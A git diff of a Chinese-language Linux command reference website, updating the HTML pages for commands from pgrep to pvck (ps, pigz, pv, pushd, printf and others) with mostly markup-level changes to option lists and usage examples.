    - - + + \ No newline at end of file diff --git a/c/pgrep.html b/c/pgrep.html index acdd109d5e..40f9aad1a5 100644 --- a/c/pgrep.html +++ b/c/pgrep.html @@ -9,7 +9,7 @@ pgrep 命令,Linux pgrep 命令详解:根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID(PID) - Linux 命令搜索引擎 - + @@ -140,7 +140,7 @@ customElements.define('markdown-style', MarkdownStyle);参数

    进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式。

    实例

    -
    pgrep -lo httpd
    +
    pgrep -lo httpd
     4557 httpd
      [root@localhost ~]# pgrep -ln httpd
     4566 httpd
    @@ -187,7 +187,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/php.html b/c/php.html index ca5ded0f7a..589634bb65 100644 --- a/c/php.html +++ b/c/php.html @@ -9,7 +9,7 @@ php 命令,Linux php 命令详解:PHP语言的命令行接口 - Linux 命令搜索引擎 - + @@ -129,7 +129,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:要执行的php脚本。

    - - + + \ No newline at end of file diff --git a/c/pico.html b/c/pico.html index 1cd0d3d1aa..e6caf946e9 100644 --- a/c/pico.html +++ b/c/pico.html @@ -9,7 +9,7 @@ pico 命令,Linux pico 命令详解:功能强大全屏幕的文本编辑器 - Linux 命令搜索引擎 - + @@ -190,7 +190,7 @@ Ctrl+X:退出,当文件内容发生改变时,提供是否保存修改。 " class="copied">

    参数

    文件:指定要编辑的文件。

    - - + + \ No newline at end of file diff --git a/c/pidof.html b/c/pidof.html index dbe58538c4..330437822c 100644 --- a/c/pidof.html +++ b/c/pidof.html @@ -9,7 +9,7 @@ pidof 命令,Linux pidof 命令详解:查找指定名称的进程的进程号ID号 - Linux 命令搜索引擎 - + @@ -151,7 +151,7 @@ pidof crond pidof init 1 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/pidstat.html b/c/pidstat.html index edb8d4f7bf..fdff740d53 100644 --- a/c/pidstat.html +++ b/c/pidstat.html @@ -9,7 +9,7 @@ pidstat 命令,Linux pidstat 命令详解:监控进程的系统资源占用情况 - Linux 命令搜索引擎 - + @@ -287,7 +287,7 @@ customElements.define('markdown-style', MarkdownStyle);Nvcswch/s:每秒被动任务上下文切换数量
  • Command:命令名
  • - - + + \ No newline at end of file diff --git a/c/pigz.html b/c/pigz.html index b84c74bf47..7342fb7097 100644 --- a/c/pigz.html +++ b/c/pigz.html @@ -9,7 +9,7 @@ pigz 命令,Linux pigz 命令详解:可以用来解压缩文件,gzip的并行实现升级版 - Linux 命令搜索引擎 - + @@ -118,42 +118,42 @@ customElements.define('markdown-style', MarkdownStyle);补充说明

    pigz命令可以用来解压缩文件,最重要的是支持多线程并行处理,解压缩比gzip快。主页: http://zlib.net/pigz/

    语法

    -
    pigz [ -cdfhikKlLmMnNqrRtz0..9,11 ] [ -b blocksize ] [ -p threads ] [ -S suffix ] [ name ...  ]
    -unpigz [ -cfhikKlLmMnNqrRtz ] [ -b blocksize ] [ -p threads ] [ -S suffix ] [ name ...  ]
    +
    pigz [ -cdfhikKlLmMnNqrRtz0..9,11 ] [ -b blocksize ] [ -p threads ] [ -S suffix ] [ name ...  ]
    +unpigz [ -cfhikKlLmMnNqrRtz ] [ -b blocksize ] [ -p threads ] [ -S suffix ] [ name ...  ]
     

    参数

    -
    -0 to -9, -11       # Compression level (level 11, zopfli, is much slower)
    ---fast, --best      # Compression levels 1 and 9 respectively
    --b, --blocksize mmm # Set compression block size to mmmK (default 128K)
    --c, --stdout        # Write all processed output to stdout (won't delete)
    --d, --decompress    # Decompress the compressed input
    --f, --force         # Force overwrite, compress .gz, links, and to terminal
    --F  --first         # Do iterations first, before block split for -11
    --h, --help          # Display a help screen and quit
    --i, --independent   # Compress blocks independently for damage recovery
    --I, --iterations n  # Number of iterations for -11 optimization
    --J, --maxsplits n   # Maximum number of split blocks for -11
    --k, --keep          # Do not delete original file after processing
    --K, --zip           # Compress to PKWare zip (.zip) single entry format
    --l, --list          # List the contents of the compressed input
    --L, --license       # Display the pigz license and quit
    +
    -0 to -9, -11       # Compression level (level 11, zopfli, is much slower)
    +--fast, --best      # Compression levels 1 and 9 respectively
    +-b, --blocksize mmm # Set compression block size to mmmK (default 128K)
    +-c, --stdout        # Write all processed output to stdout (won't delete)
    +-d, --decompress    # Decompress the compressed input
    +-f, --force         # Force overwrite, compress .gz, links, and to terminal
    +-F  --first         # Do iterations first, before block split for -11
    +-h, --help          # Display a help screen and quit
    +-i, --independent   # Compress blocks independently for damage recovery
    +-I, --iterations n  # Number of iterations for -11 optimization
    +-J, --maxsplits n   # Maximum number of split blocks for -11
    +-k, --keep          # Do not delete original file after processing
    +-K, --zip           # Compress to PKWare zip (.zip) single entry format
    +-l, --list          # List the contents of the compressed input
    +-L, --license       # Display the pigz license and quit
     -m, --no-time       # Do not store or restore mod time
    --M, --time          # Store or restore mod time
    +-M, --time          # Store or restore mod time
     -n, --no-name       # Do not store or restore file name or mod time
    --N, --name          # Store or restore file name and mod time
    --O  --oneblock      # Do not split into smaller blocks for -11
    --p, --processes n   # Allow up to n compression threads (default is the number of online processors, or 8 if unknown)
    --q, --quiet         # Print no messages, even on error
    --r, --recursive     # Process the contents of all subdirectories
    --R, --rsyncable     # Input-determined block locations for rsync
    --S, --suffix .sss   # Use suffix .sss instead of .gz (for compression)
    --t, --test          # Test the integrity of the compressed input
    --v, --verbose       # Provide more verbose output
    --V  --version       # Show the version of pigz
    --Y  --synchronous   # Force output file write to permanent storage
    --z, --zlib          # Compress to zlib (.zz) instead of gzip format
    +-N, --name          # Store or restore file name and mod time
    +-O  --oneblock      # Do not split into smaller blocks for -11
    +-p, --processes n   # Allow up to n compression threads (default is the number of online processors, or 8 if unknown)
    +-q, --quiet         # Print no messages, even on error
    +-r, --recursive     # Process the contents of all subdirectories
    +-R, --rsyncable     # Input-determined block locations for rsync
    +-S, --suffix .sss   # Use suffix .sss instead of .gz (for compression)
    +-t, --test          # Test the integrity of the compressed input
    +-v, --verbose       # Provide more verbose output
    +-V  --version       # Show the version of pigz
    +-Y  --synchronous   # Force output file write to permanent storage
    +-z, --zlib          # Compress to zlib (.zz) instead of gzip format
     --                  # All arguments after "--" are treated as files
     

    实例

    可以结合tar使用, 压缩命令

    -
    tar -cvf - dir1 dir2 dir3 | pigz -p 8 > output.tgz
    +
    tar -cvf - dir1 dir2 dir3 | pigz -p 8 > output.tgz
     

    解压命令

    -
    pigz -p 8 -d output.tgz
    +
    pigz -p 8 -d output.tgz
     

    如果是gzip格式,也支持用tar解压

    -
    tar -xzvf output.tgz
    +
    tar -xzvf output.tgz
     
    - - + + \ No newline at end of file diff --git a/c/ping.html b/c/ping.html index f7c96ddca0..fdd3906474 100644 --- a/c/ping.html +++ b/c/ping.html @@ -9,7 +9,7 @@ ping 命令,Linux ping 命令详解:测试主机之间网络的连通性 - Linux 命令搜索引擎 - + @@ -179,7 +179,7 @@ PING host.1.jsdig.com (100.42.212.8) 56(84) bytes of data. 4 packets transmitted, 4 received, 0% packet loss, time 2998ms rtt min/avg/max/mdev = 174.068/176.916/178.182/1.683 ms " class="copied">
    - - + + \ No newline at end of file diff --git a/c/pkill.html b/c/pkill.html index e658fc019a..7104701957 100644 --- a/c/pkill.html +++ b/c/pkill.html @@ -9,7 +9,7 @@ pkill 命令,Linux pkill 命令详解:可以按照进程名杀死进程 - Linux 命令搜索引擎 - + @@ -136,7 +136,7 @@ customElements.define('markdown-style', MarkdownStyle);参数

    进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式。

    实例

    -
    pgrep -l gaim
    +
    pgrep -l gaim
     2979 gaim
     
     pkill gaim
    @@ -146,7 +146,7 @@ customElements.define('markdown-style', MarkdownStyle);

    也就是说:kill对应的是PID,pkill对应的是command。

    - - + + \ No newline at end of file diff --git a/c/pmap.html b/c/pmap.html index 850ebedfe1..2a7716101d 100644 --- a/c/pmap.html +++ b/c/pmap.html @@ -9,7 +9,7 @@ pmap 命令,Linux pmap 命令详解:报告进程的内存映射关系 - Linux 命令搜索引擎 - + @@ -137,7 +137,7 @@ customElements.define('markdown-style', MarkdownStyle);pidof nginx 13312 5371 -pmap -x 5371 +pmap -x 5371 5371: nginx: worker process Address Kbytes RSS Dirty Mode Mapping 0000000000400000 564 344 0 r-x-- nginx @@ -313,7 +313,7 @@ ffffffffff600000 8192 0 0 ----- [ anon ] ---------------- ------ ------ ------ total kB 72880 22940 22000 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/popd.html b/c/popd.html index eebb2f102c..a71ebf090e 100644 --- a/c/popd.html +++ b/c/popd.html @@ -9,7 +9,7 @@ popd 命令,Linux popd 命令详解:从目录堆栈中删除目录。 - Linux 命令搜索引擎 - + @@ -129,7 +129,7 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -n    抑制删除目录引起的当前工作目录变化。
    +
    -n    抑制删除目录引起的当前工作目录变化。
     

    参数

    @@ -141,15 +141,15 @@ customElements.define('markdown-style', MarkdownStyle);# 添加目录到堆栈,当前工作目录不变。 [user2@pc ~]$ dirs ~ -[user2@pc ~]$ pushd -n ~/Desktop +[user2@pc ~]$ pushd -n ~/Desktop ~ ~/Desktop -[user2@pc ~]$ pushd -n ~/Pictures +[user2@pc ~]$ pushd -n ~/Pictures ~ ~/Pictures ~/Desktop -[user2@pc ~]$ pushd -n ~/bin +[user2@pc ~]$ pushd -n ~/bin ~ ~/bin ~/Pictures ~/Desktop # 从目录堆栈中删除目录,删除顶部目录时会改变当前工作目录: -[user2@pc ~]$ popd -2 +[user2@pc ~]$ popd -2 ~ ~/Pictures ~/Desktop [user2@pc ~]$ popd +1 ~ ~/Desktop @@ -178,9 +178,9 @@ customElements.define('markdown-style', MarkdownStyle);# 从目录堆栈中删除目录,删除顶部目录时不会改变当前工作目录: [user2@pc ~]$ dirs ~ -[user2@pc ~]$ pushd -n ~/Desktop +[user2@pc ~]$ pushd -n ~/Desktop ~ ~/Desktop -[user2@pc ~]$ popd -n +[user2@pc ~]$ popd -n ~ [user2@pc ~]$
    popd、pushd命令'-n'选项的行为 - - + + \ No newline at end of file diff --git a/c/poweroff.html b/c/poweroff.html index 2059239c74..77e339284b 100644 --- a/c/poweroff.html +++ b/c/poweroff.html @@ -9,7 +9,7 @@ poweroff 命令,Linux poweroff 命令详解:关闭Linux系统,关闭记录会被写入到/var/log/wtmp日志文件中 - Linux 命令搜索引擎 - + @@ -122,12 +122,12 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -n 关闭之前不同步
    --p 当被称为halt时关闭电源
    --v 增加输出,包括消息
    --q 降低输出错误唯一的消息
    --w 并不实际关闭系统,只是写入/var/log/wtmp文件中
    --f 强制关机,不调用shutdown
    +
    -n 关闭之前不同步
    +-p 当被称为halt时关闭电源
    +-v 增加输出,包括消息
    +-q 降低输出错误唯一的消息
    +-w 并不实际关闭系统,只是写入/var/log/wtmp文件中
    +-f 强制关机,不调用shutdown
     
    [root@localhost ~]# poweroff
    - - + + \ No newline at end of file diff --git a/c/ppp-off.html b/c/ppp-off.html index b7d33b6248..551d9549bd 100644 --- a/c/ppp-off.html +++ b/c/ppp-off.html @@ -9,7 +9,7 @@ ppp-off 命令,Linux ppp-off 命令详解:关闭ppp连线 - Linux 命令搜索引擎 - + @@ -121,7 +121,7 @@ customElements.define('markdown-style', MarkdownStyle);ppp-off
    - - + + \ No newline at end of file diff --git a/c/pr.html b/c/pr.html index 80a873aa89..d18949af96 100644 --- a/c/pr.html +++ b/c/pr.html @@ -9,7 +9,7 @@ pr 命令,Linux pr 命令详解:将文本文件转换成适合打印的格式 - Linux 命令搜索引擎 - + @@ -126,13 +126,13 @@ customElements.define('markdown-style', MarkdownStyle);-h<标题>:为页指定标题; -i<out-tab-char[out-tab-width>(--output-tabs<out-tab-char[out-tab-width]>):在输出中用制表符替换空格,可以指定替代制表符(默认为制表符)和宽度(默认为8)-l<行数>:指定每页的行数; --n<分隔符[数字]>:对列进行编号,或者使用 -m 选项对行进行编号,将分隔符附加到每个数字默认为制表符并限制数字的大小,默认为5; +-n<分隔符[数字]>:对列进行编号,或者使用 -m 选项对行进行编号,将分隔符附加到每个数字默认为制表符并限制数字的大小,默认为5; -o<宽度>:为左边距设置宽度; -s<分隔符>(--separator<分隔符>):使用指定的分隔符(默认为制表符)而不是空格分隔列; -S<字符串>(--sep-string<字符串>):使用指定的字符串(默认为-J的制表符)或者是一个空格分隔列; -w<页面宽度>:设置页面宽度以进行多列输出,默认为72; -W<页面宽度>:设置页面宽度为固定值,默认为72; --J(--join-lines):合并整行,忽略 -W 如果设置; +-J(--join-lines):合并整行,忽略 -W 如果设置; -num_cols:num_cols是一个整数,为一页有n行的文件打印指定num_cols列; -m(--merge):打印所有文件,每列一个文件。 -f(-F)(--form-feed):用换页符替代换行符; @@ -175,7 +175,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:需要转换格式的文件。

    - - + + \ No newline at end of file diff --git a/c/printf.html b/c/printf.html index 06f36797b4..0b81b64fce 100644 --- a/c/printf.html +++ b/c/printf.html @@ -9,7 +9,7 @@ printf 命令,Linux printf 命令详解:格式化并输出结果。 - Linux 命令搜索引擎 - + @@ -130,7 +130,7 @@ customElements.define('markdown-style', MarkdownStyle);格式化参数并输出。

    选项

    -
    -v var:将结果输出到变量var中而不是输出到标准输出。
    +
    -v var:将结果输出到变量var中而不是输出到标准输出。
     

    参数

    @@ -225,8 +225,8 @@ printf OPTION
  • 格式化参数并输出。
  • 选项

    -
    --help 显示帮助信息并退出。
    ---version 显示版本信息并退出。
    +
    --help 显示帮助信息并退出。
    +--version 显示版本信息并退出。
     
    @@ -294,7 +294,7 @@ printf OPTION
    line2 #声明关联数组(也就是字典)必须加'declare -A'或'local -A'(在函数内声明的局部变量)。 -declare -A assoc_arr=(['key1']='value1' ['key2']='value2') +declare -A assoc_arr=(['key1']='value1' ['key2']='value2') /usr/bin/printf "%s\n" ${!assoc_arr[@]} # 输出键。 key2 @@ -359,7 +359,7 @@ value1 - - + + \ No newline at end of file diff --git a/c/protoize.html b/c/protoize.html index a4ac29988c..aa7ff5d0fd 100644 --- a/c/protoize.html +++ b/c/protoize.html @@ -9,7 +9,7 @@ protoize 命令,Linux protoize 命令详解:GNU-C代码转换为ANSI-C代码 - Linux 命令搜索引擎 - + @@ -129,7 +129,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:需要转换代码的C语言源文件。

    - - + + \ No newline at end of file diff --git a/c/ps.html b/c/ps.html index 7c2bd297ef..abd1f9d9d0 100644 --- a/c/ps.html +++ b/c/ps.html @@ -9,7 +9,7 @@ ps 命令,Linux ps 命令详解:报告当前系统的进程状态 - Linux 命令搜索引擎 - + @@ -250,22 +250,22 @@ X:采用旧式的Linux i386登陆格式显示程序状况。

    由于ps命令能够支持的系统类型相当的多,所以选项多的离谱!

    实例

    ps axo pid,comm,pcpu # 查看进程的PID、名称以及CPU 占用率
    -ps aux | sort -rnk 4 # 按内存资源的使用量对进程进行排序
    -ps aux | sort -nk 3  # 按 CPU 资源的使用量对进程进行排序
    -ps -A # 显示所有进程信息
    -ps -u root # 显示指定用户信息
    -ps -efL # 查看线程数
    -ps -e -o "%C : %p :%z : %a"|sort -k5 -nr # 查看进程并按内存使用大小排列
    -ps -ef # 显示所有进程信息,连同命令行
    -ps -ef | grep ssh # ps 与grep 常用组合用法,查找特定进程
    -ps -C nginx # 通过名字或命令搜索进程
    -ps aux --sort=-pcpu,+pmem # CPU或者内存进行排序,-降序,+升序
    -ps -f --forest -C nginx # 用树的风格显示进程的层次关系
    -ps -o pid,uname,comm -C nginx # 显示一个父进程的子进程
    -ps -e -o pid,uname=USERNAME,pcpu=CPU_USAGE,pmem,comm # 重定义标签
    -ps -e -o pid,comm,etime # 显示进程运行的时间
    -ps -aux | grep named # 查看named进程详细信息
    -ps -o command -p 91730 | sed -n 2p # 通过进程id获取服务名称
    +ps aux | sort -rnk 4 # 按内存资源的使用量对进程进行排序
    +ps aux | sort -nk 3  # 按 CPU 资源的使用量对进程进行排序
    +ps -A # 显示所有进程信息
    +ps -u root # 显示指定用户信息
    +ps -efL # 查看线程数
    +ps -e -o "%C : %p :%z : %a"|sort -k5 -nr # 查看进程并按内存使用大小排列
    +ps -ef # 显示所有进程信息,连同命令行
    +ps -ef | grep ssh # ps 与grep 常用组合用法,查找特定进程
    +ps -C nginx # 通过名字或命令搜索进程
    +ps aux --sort=-pcpu,+pmem # CPU或者内存进行排序,-降序,+升序
    +ps -f --forest -C nginx # 用树的风格显示进程的层次关系
    +ps -o pid,uname,comm -C nginx # 显示一个父进程的子进程
    +ps -e -o pid,uname=USERNAME,pcpu=CPU_USAGE,pmem,comm # 重定义标签
    +ps -e -o pid,comm,etime # 显示进程运行的时间
    +ps -aux | grep named # 查看named进程详细信息
    +ps -o command -p 91730 | sed -n 2p # 通过进程id获取服务名称
     

    将目前属于您自己这次登入的 PID 与相关信息列示出来

    -
    ps -l
    +
    ps -l
     #  UID   PID  PPID        F CPU PRI NI       SZ    RSS WCHAN     S             ADDR TTY           TIME CMD
     #  501   566   559     4006   0  31  0  4317620    228 -      Ss                  0 ttys001    0:00.05 /App...cOS/iTerm2 --server /usr/bin/login -fpl kenny /Ap...s/MacOS/iTerm2 --launch_shel
     #  501   592   577     4006   0  31  0  4297048     52 -      S                   0 ttys001    0:00.63 -zsh
    @@ -349,7 +349,7 @@ ps -o command -p 91730 | sed -n 2p # 通过进程id获取服务名称
       
  • COMMAND:该程序的实际指令
  • 列出类似程序树的程序显示

    -
    ps -axjf
    +
    ps -axjf
     
     # USER               PID  PPID  PGID   SESS JOBC STAT   TT       TIME COMMAND            UID   C STIME   TTY
     # root                 1     0     1      0    0 Ss     ??   10:51.90 /sbin/launchd        0   0 二03下午 ??
    @@ -373,11 +373,11 @@ ps -o command -p 91730 | sed -n 2p # 通过进程id获取服务名称
     # kenny            90167   0.0  0.0  4258468    184 s007  R+    9:23下午   0:00.00 egrep (cron|syslog)
     " class="copied">

    把所有进程显示出来,并输出到ps001.txt文件

    -
    ps -aux > ps001.txt
    +
    ps -aux > ps001.txt
     

    输出指定的字段

    - - + + \ No newline at end of file diff --git a/c/pssh.html b/c/pssh.html index d3c54f3a6f..ddcc88b6d4 100644 --- a/c/pssh.html +++ b/c/pssh.html @@ -9,7 +9,7 @@ pssh 命令,Linux pssh 命令详解:批量管理执行 - Linux 命令搜索引擎 - + @@ -239,7 +239,7 @@ python setup.py install 11:19:56 up 4 days, 16:30, 1 user, load average: 0.00, 0.00, 0.00 " class="copied">

    上面介绍的是pssh命令很少的一部分,大家可以将其用到适合自己的场景,发挥它的最大功效。

    - - + + \ No newline at end of file diff --git a/c/pstack.html b/c/pstack.html index fcb6bbd02a..74d39f524e 100644 --- a/c/pstack.html +++ b/c/pstack.html @@ -9,7 +9,7 @@ pstack 命令,Linux pstack 命令详解:显示每个进程的栈跟踪 - Linux 命令搜索引擎 - + @@ -123,7 +123,7 @@ customElements.define('markdown-style', MarkdownStyle);命令软件包下载地址:https://packages.debian.org/sid/pstack

    实例

    pstree以树结构显示进程

    -
    pstree -p work | grep ad
    +
    pstree -p work | grep ad
     sshd(22669)---bash(22670)---ad_preprocess(4551)-+-{ad_preprocess}(4552)
                                                     |-{ad_preprocess}(4553)
                                                     |-{ad_preprocess}(4554)
    @@ -139,7 +139,7 @@ sshd(22669)---bash(22670)---ad_preprocess(4551)-+-{ad_preprocess}(4552)
                                                     `-{ad_preprocess}(4557)
     " class="copied">

    work为工作用户,-p为显示进程识别码,ad_preprocess共启动了6个子线程,加上主线程共7个线程。

    -
    ps -Lf 4551
    +
    ps -Lf 4551
     UID        PID  PPID   LWP  C NLWP STIME TTY      stat   time CMD
     work      4551 22670  4551  2    7 16:30 pts/2    Sl+    0:02 ./ad_preprocess
     work      4551 22670  4552  0    7 16:30 pts/2    Sl+    0:00 ./ad_preprocess
    @@ -267,7 +267,7 @@ Thread 1 (Thread 182894129792 (LWP 4551)):
     #2  0x0000000000420d79 in Ad_preprocess::run ()
     #3  0x0000000000450ad0 in main ()
     " class="copied">
    - - + + \ No newline at end of file diff --git a/c/pstree.html b/c/pstree.html index 281ef07259..741cd813ce 100644 --- a/c/pstree.html +++ b/c/pstree.html @@ -9,7 +9,7 @@ pstree 命令,Linux pstree 命令详解:以树状图的方式展现进程之间的派生关系 - Linux 命令搜索引擎 - + @@ -147,15 +147,15 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    显示当前所有进程的进程号和进程id

    -
    pstree -p
    +
    pstree -p
     

    显示所有进程的所有详细信息,遇到相同的进程名可以压缩显示。

    -
    pstree  -a
    +
    pstree  -a
     

    获取 SSH 会话的 PID

    -
    pstree -p | grep ssh
    +
    pstree -p | grep ssh
     
     #  |-sshd(1221)-+-sshd(2768)---bash(2770)-+-grep(2810)
     #  |            `-sshd(2807)---sshd(2808)
    @@ -165,7 +165,7 @@ customElements.define('markdown-style', MarkdownStyle);

    从上方的输出中,你可以看到 sshd 进程与分支的树形图。sshd 的主进程是 sshd(1221),另两个分支分别为 sshd(2768) 和 sshd(2807)。

    - - + + \ No newline at end of file diff --git a/c/pushd.html b/c/pushd.html index 28172dc77a..071a9dc742 100644 --- a/c/pushd.html +++ b/c/pushd.html @@ -9,7 +9,7 @@ pushd 命令,Linux pushd 命令详解:将目录添加到目录堆栈顶部。 - Linux 命令搜索引擎 - + @@ -116,7 +116,7 @@ customElements.define('markdown-style', MarkdownStyle);pushd

    将目录添加到目录堆栈顶部。

    概要

    -
    pushd [-n] [+N | -N | dir]
    +
    pushd [-n] [+N | -N | dir]
     

    主要用途

    @@ -132,7 +132,7 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -n    抑制添加目录引起的当前工作目录变化。
    +
    -n    抑制添加目录引起的当前工作目录变化。
     

    参数

    @@ -158,15 +158,15 @@ customElements.define('markdown-style', MarkdownStyle);# 添加目录到堆栈,当前工作目录不变。 [user2@pc ~]$ dirs ~ -[user2@pc ~]$ pushd -n ~/Desktop +[user2@pc ~]$ pushd -n ~/Desktop ~ ~/Desktop -[user2@pc ~]$ pushd -n ~/Pictures +[user2@pc ~]$ pushd -n ~/Pictures ~ ~/Pictures ~/Desktop # 调整顺序。 [user2@pc ~]$ pushd +1 ~/Pictures ~/Desktop ~ -[user2@pc ~]$ pushd -1 +[user2@pc ~]$ pushd -1 ~/Desktop ~ ~/Pictures [user2@pc ~]$ pushd ~ ~/Desktop ~/Pictures @@ -196,7 +196,7 @@ customElements.define('markdown-style', MarkdownStyle);
  • popd、pushd命令'-n'选项的行为
  • - - + + \ No newline at end of file diff --git a/c/pv.html b/c/pv.html index 9955fe1615..24303f64cd 100644 --- a/c/pv.html +++ b/c/pv.html @@ -9,7 +9,7 @@ pv 命令,Linux pv 命令详解:显示当前在命令行执行的命令的进度信息,管道查看器 - Linux 命令搜索引擎 - + @@ -136,45 +136,45 @@ yum install pv pv [OPTION] [FILE]... " class="copied">

    选项

    -
    -p, --progress           显示进度条
    --t, --timer              显示已用时间
    --e, --eta                显示预计到达时间 (完成)
    --I, --fineta             显示绝对估计到达时间
    +
    -p, --progress           显示进度条
    +-t, --timer              显示已用时间
    +-e, --eta                显示预计到达时间 (完成)
    +-I, --fineta             显示绝对估计到达时间
                              (完成)
    --r, --rate               显示数据传输速率计数器
    +-r, --rate               显示数据传输速率计数器
     -a, --average-rate       显示数据传输平均速率计数器
    --b, --bytes              显示传输的字节数
    +-b, --bytes              显示传输的字节数
     -T, --buffer-percent     显示正在使用的传输缓冲区百分比
     -A, --last-written NUM   显示上次写入的字节数
    --F, --format FORMAT      将输出格式设置为FORMAT
    --n, --numeric            输出百分比
    --q, --quiet              不输出任何信息
    +-F, --format FORMAT      将输出格式设置为FORMAT
    +-n, --numeric            输出百分比
    +-q, --quiet              不输出任何信息
     
    --W, --wait               在传输第一个字节之前不显示任何内容
    +-W, --wait               在传输第一个字节之前不显示任何内容
     -D, --delay-start SEC    在SEC秒过去之前不显示任何内容
    --s, --size SIZE          将估算的数据大小设置为SIZE字节
    +-s, --size SIZE          将估算的数据大小设置为SIZE字节
     -l, --line-mode          计算行数而不是字节数 
    --0, --null               行以零结尾
    --i, --interval SEC       每SEC秒更新一次
    --w, --width WIDTH        假设终端的宽度为WIDTH个字符 
    --H, --height HEIGHT      假设终端高度为HEIGHT行
    --N, --name NAME          在可视信息前面加上名称
    --f, --force              将标准错误输出到终端
    --c, --cursor             使用光标定位转义序列
    +-0, --null               行以零结尾
    +-i, --interval SEC       每SEC秒更新一次
    +-w, --width WIDTH        假设终端的宽度为WIDTH个字符 
    +-H, --height HEIGHT      假设终端高度为HEIGHT行
    +-N, --name NAME          在可视信息前面加上名称
    +-f, --force              将标准错误输出到终端
    +-c, --cursor             使用光标定位转义序列
     
     -L, --rate-limit RATE    将传输限制为每秒RATE字节
     -B, --buffer-size BYTES  使用BYTES的缓冲区大小
     -C, --no-splice          从不使用splice(),始终使用读/写
     -E, --skip-errors        跳过输入中的读取错误
     -S, --stop-at-size       传输--size字节后停止
    --R, --remote PID         更新过程PID的设置
    +-R, --remote PID         更新过程PID的设置
     
    --P, --pidfile FILE       将进程ID保存在FILE中 
    +-P, --pidfile FILE       将进程ID保存在FILE中 
     
    --d, --watchfd PID[:FD]   监视进程PID,打开的文件FD
    +-d, --watchfd PID[:FD]   监视进程PID,打开的文件FD
     
    --h, --help               显示帮助
    --V, --version            显示版本信息
    +-h, --help               显示帮助
    +-V, --version            显示版本信息
     
    # -L 可以让你修改 pv 命令的传输速率。 # 使用 -L 选项来限制传输速率为2MB/s。 -pv -L 2m /media/himanshu/1AC2-A8E3/fNf.mkv > ./Desktop/fnf.mkv +pv -L 2m /media/himanshu/1AC2-A8E3/fNf.mkv > ./Desktop/fnf.mkv

    使用 tar 命令解压缩时显示进度条

    -
    $ pv rootfs.tar.bz2 | tar -jxf - -C rootfs/
    +
    $ pv rootfs.tar.bz2 | tar -jxf - -C rootfs/
     12.3MiB 0:00:02 [6.15MiB/s] [=========>                                     ] 21% ETA 0:00:07
     

    解压完成

    -
    $ pv rootfs.tar.bz2 | tar -jxf - -C rootfs/
    +
    $ pv rootfs.tar.bz2 | tar -jxf - -C rootfs/
     57.8MiB 0:00:10 [5.53MiB/s] [==============================================>] 100%
     

    字符一个个匀速在命令行中显示出来

    -
    echo "Tecmint[dot]com is a community of Linux Nerds and Geeks" | pv -qL 10
    +
    echo "Tecmint[dot]com is a community of Linux Nerds and Geeks" | pv -qL 10
     

    压缩文件展示进度信息

    @@ -263,7 +263,7 @@ pv -L 2m /media/himanshu/1AC2-A8E3/fNf.mkv > ./Desktop/fnf.mkv

    用 dd 命令将 iso 写入磁盘,pv来实现进度条的显示

    -
    sudo pv -cN source < /Users/kacperwang/Downloads/CentOS-7-x86_64-Everything-1511.iso | sudo dd of=/dev/disk2 bs=4m
    +
    sudo pv -cN source < /Users/kacperwang/Downloads/CentOS-7-x86_64-Everything-1511.iso | sudo dd of=/dev/disk2 bs=4m
     ## 显示下面进度
     source:  5.2GiB 5:11:41 [ 503KiB/s] [=====================>       ] 71% ETA 2:01:56
     

    在linux上, 如果执行的一些命令或者一些脚本需要花费很长时间, 但又不能拿出更多的精力反复盯着有没有执行结束, 这时候可以用pv监听PID, 任务完成后通过网络通知到微信或者钉钉, 这样就可以腾出来精力做其他的事, 是不是很棒

    -
    $ pv -d $(ps -ef | grep -v grep | grep "<脚本或命令的关键字>" | awk '{print $2}') && <这里执行发通知脚本或者命令,脚本或命令需要提前调试好>
    +
    $ pv -d $(ps -ef | grep -v grep | grep "<脚本或命令的关键字>" | awk '{print $2}') && <这里执行发通知脚本或者命令,脚本或命令需要提前调试好>
     

    注意

    @@ -279,7 +279,7 @@ source: 5.2GiB 5:11:41 [ 503KiB/s] [=====================> ] 71% ETA 2:01
  • 选项"-d, --watchfd PID[:FD]", 是在1.6.6版本中才有的参数,如果使用需要pv升级到大于等于1.6.6的版本
  • CentOS7的Yum仓库里pv最新的是1.4.6版本,1.6.6版本是发布在CentOS8里面的,如果需要,可以将CentOS8里的pv下载到本地电脑上或者本地的Yum私服里, 这个是下载地址, 可以根据自己不同的架构下载, 1.6.6的安装: rpm -ivh pv-1.6.6-7.el8.x86_64.rpm -U
  • - - + + \ No newline at end of file diff --git a/c/pvchange.html b/c/pvchange.html index 15f442e3f3..e75caec43e 100644 --- a/c/pvchange.html +++ b/c/pvchange.html @@ -9,7 +9,7 @@ pvchange 命令,Linux pvchange 命令详解:修改物理卷属性 - Linux 命令搜索引擎 - + @@ -131,7 +131,7 @@ customElements.define('markdown-style', MarkdownStyle);物理卷:指定要修改属性的物理卷所对应的设备文件。

    实例

    使用pvchange命令禁止分配指定物理卷上的PE。在命令行中输入下面的命令:

    -
    pvchange -x n /dev/sdb1     #禁止分配"/dev/sdb1"上的PE
    +
    pvchange -x n /dev/sdb1     #禁止分配"/dev/sdb1"上的PE
     

    输出信息如下:

    @@ -140,7 +140,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/pvck.html b/c/pvck.html index 284a0ac1ce..7bb74ed609 100644 --- a/c/pvck.html +++ b/c/pvck.html @@ -9,7 +9,7 @@ pvck 命令,Linux pvck 命令详解:检测物理卷的LVM元数据的一致性 - Linux 命令搜索引擎 - + @@ -133,7 +133,7 @@ customElements.define('markdown-style', MarkdownStyle);物理卷:指定要检查的物理卷对应的设备文件。

    实例

    使用pvck命令检查物理卷/dev/sdb1。在命令行中输入下面的命令:

    -
    pvck -v /dev/sdb1    #检查物理卷元数据
    +
    pvck -v /dev/sdb1    #检查物理卷元数据
